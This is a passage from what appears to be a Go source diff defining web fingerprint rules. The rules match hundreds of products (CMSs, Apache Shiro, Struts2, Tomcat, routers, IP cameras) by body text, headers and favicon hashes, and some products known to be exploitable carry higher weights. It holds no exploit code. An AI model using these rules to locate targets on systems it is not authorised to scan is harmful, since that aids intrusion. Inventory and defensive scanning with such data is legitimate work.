ReqHttp{"", "", nil, ""}}, + {1, "74CMS", "body", "", InStr{"(content=\"74cms.com|content=\"骑士cms|powered by actiontec mi424wr)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "activeCollab", "body", "", InStr{"(powered by activecollab|

location.href=\"ucenter\";)", "(path=/ucenter/; secure; httponly)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Acunetix", "body", "", InStr{"(logo.src = 'assets/images/acunetix-logo-full-new-black.svg'|title>Acunetix|)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adaptec-maxView", "body", "", InStr{"(action=\"/maxview/manager/login.xhtml)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adcon-Telemetry-Gateway", "body|header", "or", InStr{"(adcon telemetry gmbh;|welcome to the a840 telemetry gateway!)", "(addupi)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AdiMoney", "body", "", InStr{"(\"adimoney\"/|content=\"adimoney.com mobile advertisement network. )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adiscon-LogAnalyzer", "body", "", InStr{"(adiscon loganalyzer|adiscon gmbh)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADN", "body", "", InStr{"(交付应用|src=\"http://res.wx.qq.com/open/js/jweixin)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-Connect", "header", "", InStr{"", "(breezesession=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-CQ5", "body", "", InStr{"(_jcr_content)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-Experience-Manager", "body", "", InStr{"(adobe experience manager| class=\"coral-heading coral-heading--1\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-Flex", "body", "", InStr{"(learn more about flex at http://flex.org)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-GoLive", "body", "", InStr{"(generator\" content=\"adobe golive)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-Magento", "body|header", "or", InStr{"(magento, varien, e-commerce)", "(redkiwi-cloud)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Adobe-RoboHelp", "body", "", InStr{"(generator\" content=\"adobe robohelp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "adslr-NFW", "body", "", InStr{"(href=\"/css/cover_admin.css\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "adslr-Router", "body", "", InStr{"(href=\"css/r1login.css\"|src=\"chinesehl.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "adslr-Router", "body", "", InStr{"(/img/r1/favicon.ico)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADT-IAM", "body", "", InStr{"(content=\"tpn,vpn,内网安全,内网控制,主机防护\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADTRAN-MX408e", "header", "", InStr{"", "(realm=\"adtran mx408e)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADT-SJW74-VPN", "body", "", InStr{"(src=\"./system/usbkey.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADT-TPN-2G", "body", "", InStr{"(src=\"./system/usbkey.js\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADVA-FSP", "body", "", InStr{"(var gtitle = 'adva fsp )", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Advanced-Electron-Forum", "body", "", InStr{"(powered by aef)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Advantech-LR77", "header", "", InStr{"", "(lr77-v2)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Advantech-WebAccess", "body", "", InStr{"(/bw_templete1.dwt|/broadweb/webaccessclientsetup.exe|/broadweb/bwuconfig.asp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ADVANTECH-WISE-3610", "body", "", InStr{"(/advantech/advantech/css/main.css)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "advantech_WISE", "body", "", InStr{"(remote manage your intelligent systems)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AdviserLogicCli", "body", "", InStr{"(navigator.serviceworker.register('/adviserlogiccache.js'))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aethra-Telecommunications-OS", "header", "", InStr{"", "(atos)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AfterLogic-WebMail", "header", "", InStr{"", "(phpwebmailsessid)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AgileBPM", "body", "", InStr{"(class=\"logo-element\">bpm|class=\"logo-element\">agile-bpm)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "agora.cgi", "body", "", InStr{"(/agora.cgi?product=|/store/agora.cgi)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aipstar-Cameras-and-Surveillance", "body", "", InStr{"(window.location.href = \"login.html\";)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirCam-Cameras-and-Surveillance", "header", "", InStr{"", "(realm=\"aircam |realm=\"airlive bu-)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLink-AIC250", "header", "", InStr{"", "(realm=\"aic250)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLink-modem", "header", "", InStr{"", "(modem@airlink.com)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLink-SkyIPCam", "header", "", InStr{"", "(realm=\"skyipcam)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLink-WL-2600CAM", "header", "", InStr{"", "(realm=\"wl-2600cam)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-ARM-204", "header", "", InStr{"", "(realm=\"airlive arm-204)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-Firmware&Driver", "header", "", InStr{"", "(airlive airmax5|airlive airmax2)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-Modem", "header", "", InStr{"", "(realm=\"airlive arm-|realm=\"airlive arm201)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-POE-HDwebcam", "body", "", InStr{"(js/variable_6.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirLive-Wireless-Device", "header", "", InStr{"", "(realm=\"airlive wl-|realm=\"airlive g.duo)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AirOS", "header", "", InStr{"", "(airos_sessionid|cookiechecker?uri=)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aisino-Telecom", "body", "", InStr{"(航天信息股份有限公司 电信行业版)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AJA-Video-Converter", "body", "", InStr{"(eparamid_swversion)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Ajenti-Server-Admin-Panel", "body", "", InStr{"(src=\"/ajenti:static/|action=\"/ajenti:auth\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Akamai-CDN", "header", "", InStr{"", "(server: akamaighost|akamai-ip: )", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Akiva-WebBoard", "body", "", InStr{"(powered by webboard)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ALCASAR", "body", "", InStr{"(valoriserdiv5)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-7250", "header", "", InStr{"", "(realm=\"alcatel-lucent 7250)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-Enterprise-gateway", "body", "", InStr{"(欢迎登陆alcatel-lucent企业网关

请输入用户名和密码,3次出错将被锁定

|alcatel-lucent)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-IP1020", "header", "", InStr{"", "(realm=\"alcatel ip1020)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-Omniswitch", "header", "", InStr{"", "(/web/content/login.html|agranat-emweb)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OmniVista-Cirrus", "body", "", InStr{"(/help/en-us/others/ov-cirrus_cookiepolicy.html)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS10K", "body", "", InStr{"(device os10k)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6560-24X4", "body", "", InStr{"(device os6560-24x4)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6560-P24X4", "body", "", InStr{"(device os6560-p24x4)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6560-P48X4", "body", "", InStr{"(device os6560-p48x4)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860-24", "body", "", InStr{"(device os6860-24)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860-48", "body", "", InStr{"(device os6860-48)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860E-24", "body", "", InStr{"(device os6860e-24)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860E-48", "body", "", InStr{"(device os6860e-48)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860E-P24", "body", "", InStr{"(device os6860e-p24)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860E-P48", "body", "", InStr{"(device os6860e-p48)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860-P24", "body", "", InStr{"(device os6860-p24)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860-P48", "body", "", InStr{"(device os6860-p48)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6860U-28", "body", "", InStr{"(device os6860u-28)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6865-P16X", "body", "", InStr{"(device os6865-p16x)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6865-U12X", "body", "", InStr{"(device os6865-u12x)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-T20", "body", "", InStr{"(device os6900-t20)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-T40", "body", "", InStr{"(device os6900-t40)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-X20", "body", "", InStr{"(device os6900-x20)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-X40", "body", "", InStr{"(device os6900-x40)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS6900-X72", "body", "", InStr{"(device os6900-x72)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alcatel_Lucent-OS9900", "body", "", InStr{"(device os9900)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ALERTMANAGER", "body", "", InStr{"(defaultcreator)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alexander-Palmo-Simple-PHP-Blog", "ico", "", InStr{"", "", "(a7947b1675701f2247921cf4c2b99a78)"}, ReqHttp{"", "", nil, ""}}, + {1, "Alibaba-Group-DMS", "body", "", InStr{"(copyright © dms all rights reserved (alibaba 数据管理产品))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alibaba-Group-TLog", "body", "", InStr{"(content=\"tlog 实时数据处理)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Ali-Monitoring-System", "body", "", InStr{"(/monitor/css/monitor.css|href=\"/monitor/monitoritem/monitoritemlist.htm)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AliyunCDN", "body", "", InStr{"(cdn.aliyuncs.com)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AliyunCDN", "header", "", InStr{"", "(cdn.aliyuncs.com)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aliyun-Cloud-shield", "header", "", InStr{"", "(set-cookie: yundun_404)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AliyunOSS", "header", "", InStr{"", "(server: aliyunoss|x-oss-request-id)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ALIYUN-RDS-API", "body", "", InStr{"(href=\"system!stat.jspa)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aliyun-RDS", "body", "", InStr{"(class=\"legend\">rds管理系统)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alliance-Web-Platform", "body", "", InStr{"(window.location = \"/swp/group/admin\";)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alpha-Five", "header", "", InStr{"", "(alpha five|a5wsessionid)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Alstom-ALSPA®Care", "body", "", InStr{"(asp/images/s8000plus.gif)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Amazon-ECS", "header", "", InStr{"", "(x-amz-error-)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMCREST-camera", "body", "", InStr{"(amcrest|w_cloudcurver|onclick=\"chkalarmsound()|id=\"play_alarm_sound|amcrest technologies)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMI-IMM", "body", "", InStr{"()", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMI-MegaRAC-SP", "body", "", InStr{"(ami megarac sp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMI-MegaRAC-SPX", "body", "", InStr{"(ami megarac spx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AMI-SPX", "body", "", InStr{"(ami spx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Ampache", "ico", "", InStr{"", "", "(2e9545474ee33884b5fb8a9a0b8806dd)"}, ReqHttp{"", "", nil, ""}}, + {1, "AMPLESKY-Company's-product", "body", "", InStr{"(var fullmessage = \"天地阳光通信科技(北京)有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "aMule", "ico", "", InStr{"", "", "(99306a52c76e19e3c298a46616c5899c)"}, ReqHttp{"", "", nil, ""}}, + {1, "Android-Webcam-Server", "header", "", InStr{"", "(server: android webcam server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ANECMS", "body", "", InStr{"(content=\"erwin aligam - ealigam@gmail.com)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnHuiWAF", "header", "", InStr{"", "(protected-by: anhui web firewall)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ANIMATI-PACS", "body", "", InStr{"(

版权所有:上海安脉计算机科技有限公司|id=\"lblname1\">版权所有:上海安脉计算机科技有限公司|上海安脉计算机科技有限公司)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ANNECA-InTouch-CRM", "body", "", InStr{"(href=\"http://www.anneca.cz\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Anta-ASG", "body", "", InStr{"(setcookie(\"asglanguage\",document.form1.planguage.value))", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Ant docs manual", "ico", "", InStr{"", "", "(032ecc47c22a91e7f3f1d28a45d7f7bc|2d4cca83cf14d1adae178ad013bdf65b)"}, ReqHttp{"", "", nil, ""}}, //{"Ant docs (1.7.1) / libjakarta-poi-java (3.0.2)", "ico", "", InStr{"", "", "()"}, ReqHttp{"", "", nil, ""}}, + {1, "AnyGate", "body", "", InStr{"(/anygate.php)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnyGate", "header", "", InStr{"", "(anygate)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnyGate-RG5500N", "body", "", InStr{"(td class=\"right\">rg5500n)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnyMacro", "body", "", InStr{"(document.aa.f_email)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnyMacro", "header", "", InStr{"", "(login_key)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AnZuWAF", "header", "", InStr{"", "(anzuwaf)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "aolansoft-StudentSystem", "body", "", InStr{"(vcode.aspx)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AOLserver", "header", "", InStr{"", "(aolserver)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apabi-Digital-resource-platform", "body", "", InStr{"(Welcome to the Apache ActiveMQ!)", "(realm=\"activemqrealm)", "05664fb0c7afcd6436179437e31f3aa6"}, ReqHttp{"", "", nil, ""}}, + {1, "Apahce-Airflow", "body", "", InStr{"(src=\"/static/pin_100.png\"|airflow)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Cocoon", "header", "", InStr{"", "(x-cocoon-version)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apahce-Dubbo", "header", "", InStr{"", "( basic realm=\"dubbo\")", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Flink", "body", "", InStr{"(Apache Flink Web Dashboard||\"apachethe apache haus)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apache", "header", "", InStr{"", "(Server: Apache(.*))", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apahce-Kylin", "body", "", InStr{"(href=\"/kylin/\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Mesos", "body", "", InStr{"(href=\"/static/css/mesos.css|\"apache)", "", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-OFBiz", "body|header", "", InStr{"(Apache OFBiz|apache.ofbiz)", "(Set-Cookie: OFBiz.Visitor=)", ""}, ReqHttp{"GET", "/myportal/control/main", nil, ""}}, + {1, "Apache-on-Linux", "ico", "", InStr{"", "", "(FF2C8612B75B5F9A6175E016FE4AA609)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-on-Mac_OS_X", "ico", "", InStr{"", "", "(73778a17b0d22ffbb7d6c445a7947b92)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-on-Red-Hat/Fedora", "ico", "", InStr{"", "", "(d99217782f41e71bcaa8e663e6302473)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apahce-Oozie-Web-Console", "body", "", InStr{"(oozie-console|href=\"/oozie\">oozie console)", "", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-RocketMQ", "body|header", "or", InStr{"(title>RocketMq(.*))", "(X-Application-Context: rocketmq-console(.*))", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Shiro", "header|body", "or", InStr{"( shiro)", "(rememberMe=|=deleteMe|shiro-cas)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Solr", "body|ico", "or", InStr{"(SolrCore Initialization Failures|ng-app=\"solrAdminApp\")", "", "(69acfcb2659952bc37c54108d52fca70|ffc05799dee87a4f8901c458f7291d73)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Spark ", "body|ico", "or", InStr{"(src=\"/static/spark-logo(.*)\\.png\"|spark://)", "", "\""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Struts2", "body|header", "and", InStr{"(struts problem report|there is no action mapped for namespace|no result defined for action and result input|||(.*)\\.action|(.*)\\.do)", "(jsessionid)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apache-Tomcat", "body|ico", "or", InStr{"(href=\"tomcat.css|tomcat.apache.org|this is the default tomcat home page|

apache tomcat|Tomcat Setup|If you're seeing this, you've successfully installed Tomcat. Congratulations!|this is the default tomcat home page|tomcat.apache.org|href=\\\"tomcat.css)", "", "(d80e364c0d3138c7ecd75bf9896f2cad|4644f2d45601037b8423d45e13194c93)"}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Traffic-Server", "header", "", InStr{"", "(apachetrafficserver)", ""}, ReqHttp{"", "", nil, ""}}, + {3, "Apahce-Unomi", "body", "", InStr{"(logo apache unomi)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apache-Wicket", "body", "", InStr{"(xmlns:wicket=|/org.apache.wicket.)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APC-InfraStruxure", "header", "", InStr{"", "(realm=\"infrastruxure)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APC-Management", "body", "", InStr{"(this object on the apc management web server is protected)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APC-UPS-Management-Card", "body", "", InStr{"(class=\"apclogo\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APC-UPS-Management-Card", "header", "", InStr{"", "(apc management card|network management card)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "APD-Cameras-and-Surveillance", "body", "", InStr{"(var listenport = 6002;|lg_body_iptpsw)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "apereo-CAS", "body", "", InStr{"(cas – central authentication service)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "apex-LiveBPM", "body", "", InStr{"(href=\"/plug-in/login/fixed/css/login.css\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "apilayer-Caddy", "header", "", InStr{"", "(server: caddy)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AppCMS", "body", "", InStr{"(powerd by appcms)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "appex-lotapp", "body", "", InStr{"(appex network corporation|/change_lan.php?lanid=en)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ApPHP-Calendar", "body", "", InStr{"(this script was generated by apphp calendar)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AppServ", "body", "", InStr{"(appserv/softicon.gif|index.php?appservlang=th)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "AP-Router", "header", "", InStr{"", "(basic realm=\"ap-router\")", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apusic", "body", "", InStr{"(管理apusic应用服务器)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Apusic", "header", "", InStr{"", "(server: apusic application server)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Arab-Portal", "body", "", InStr{"(powered by: arab)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ArcGIS", "body", "", InStr{"(action=\"/arcgismanager/main/login.jsf)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Arcor-DSL-Modem", "header", "", InStr{"", "(realm=\"arcor-dsl wlan-modem)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ArGoSoft-Mail-Server", "body", "", InStr{"(argosoft mail server plus for)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ArrayNetworks-Company's-product", "header", "", InStr{"", "(realm=\"array networks webui)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ARRIS-Netopia-Router", "header", "", InStr{"", "(realm=\"netopia-|netopia-payments.)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ARRIS-Touchstone", "body", "", InStr{"(passwithwarnings)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Arris Touchstone Device", "ico", "", InStr{"", "", "(a8fe5b8ae2c445a33ac41b33ccc9a120)"}, ReqHttp{"", "", nil, ""}}, + {1, "ArticlePublisherPRO", "body", "", InStr{"(www.articlepublisherpro.com|content=\"article publisher pro)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aruba-Device", "body", "", InStr{"(/images/arubalogo.gif|aruba networks)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Aruba-Network-Devices", "ico", "", InStr{"", "", "(dc0816f371699823e1e03e0078622d75)"}, ReqHttp{"", "", nil, ""}}, + {1, "ArubaOS", "body", "", InStr{"(/screens/wms/wms.login)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ArvanCloud", "header", "", InStr{"", "(ar-poweredby: arvan cloud|server: arvancloud)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASP168-OHO", "body", "", InStr{"(upload/moban/images/style.css|default.php?mod=article&do=detail&tid)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASPCMS", "body", "", InStr{"(content=\"aspcms|/inc/aspcms_advjs.asp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "aspentech-ASPEN-InfoPlus.21", "body", "", InStr{"(src=\"/aspencui/css/appstyles.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASP", "header", "", InStr{"", "(x-powered-by: asp)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASProxy", "body", "", InStr{"(surf the web invisibly using asproxy power|btnasproxydisplaybutton)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Association-of-Liberal-Democrat-Councillors-web-hosting", "ico", "", InStr{"", "", "(35C5093C70B822D05219AF50F95FC546)"}, ReqHttp{"", "", nil, ""}}, + {1, "Astaro-Command-Center", "body", "", InStr{"(/js/_variables_from_backend.js?|commandcenter)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "Astaro-Security-Gateway", "body", "", InStr{"(/acc_aggregated_reporting.js)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-AiCloud", "body", "", InStr{"(href=\"/smb/css/startup.png\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-AC52U", "body", "", InStr{"(
dsl-ac52u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-AC52U", "header", "", InStr{"", "(realm=\"dsl-ac52u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-N14U_B1", "header", "", InStr{"", "(realm=\"dsl-n14u_b1)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-N55U", "body", "", InStr{"(
dsl-n55u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-DSL-N55U", "header", "", InStr{"", "(realm=\"dsl-n55u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-GT-AC2900", "body", "", InStr{"(document.getelementsbyclassname(\"model-name\")[0].innerhtml = \"gt-ac2900\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-GT-AC2900_SH", "body", "", InStr{"(document.getelementsbyclassname(\"model-name\")[0].innerhtml = \"gt-ac2900_sh\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-GT-AC5300", "body", "", InStr{"(
gt-ac5300|var based_modelid = 'gt-ac5300'|document.getelementsbyclassname(\"model-name\")[0].innerhtml = \"gt-ac5300\")", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-Lyra-Trio", "body", "", InStr{"(class=\"prod_madelname\">lyra_trio
)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-Modem", "header", "", InStr{"", "(realm=\"aam6000ev|realm=\"aam6020vi)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-R6400", "body", "", InStr{"(
r6400)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-R7000", "body", "", InStr{"(
r7000)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-R8000", "body", "", InStr{"(
r8000)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-Router", "body", "", InStr{"(asuswrt)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC1200", "body", "", InStr{"(
rt-ac1200|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac1200)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC1200", "header", "", InStr{"", "(rt-ac1200)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC1300UHP", "body", "", InStr{"(
rt-ac1300uhp)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC1750_B1", "body", "", InStr{"(
rt-ac1750_b1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC3100", "body", "", InStr{"(
rt-ac3100|var product_name='rt-ac3100')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC3100", "header", "", InStr{"", "(realm=\"rt-ac3100)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC3200", "body", "", InStr{"(
rt-ac3200|class=\"prod_madelname\" style=\"margin-left:78px;\">rt-ac3200|capture(status_router.sys_model)
asus rt-ac3200|var product_name='rt-ac3200')", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC3200", "header", "", InStr{"", "(rt-ac3200)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC51U", "body", "", InStr{"(
rt-ac51u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC51U", "header", "", InStr{"", "(rt-ac51u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC52U_B1", "body", "", InStr{"(
rt-ac52u_b1)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC52U", "body", "", InStr{"(
rt-ac52u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC52U", "header", "", InStr{"", "(rt-ac52u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC5300", "body", "", InStr{"(
rt-ac5300)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC5300", "header", "", InStr{"", "(rt-ac5300)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC53", "body", "", InStr{"(
rt-ac53)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC53U", "body", "", InStr{"(
rt-ac53u)", "", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC53U", "header", "", InStr{"", "(realm=\"rt-ac53u)", ""}, ReqHttp{"", "", nil, ""}}, + {1, "ASUS-RT-AC55UHP", "body", "", InStr{"(
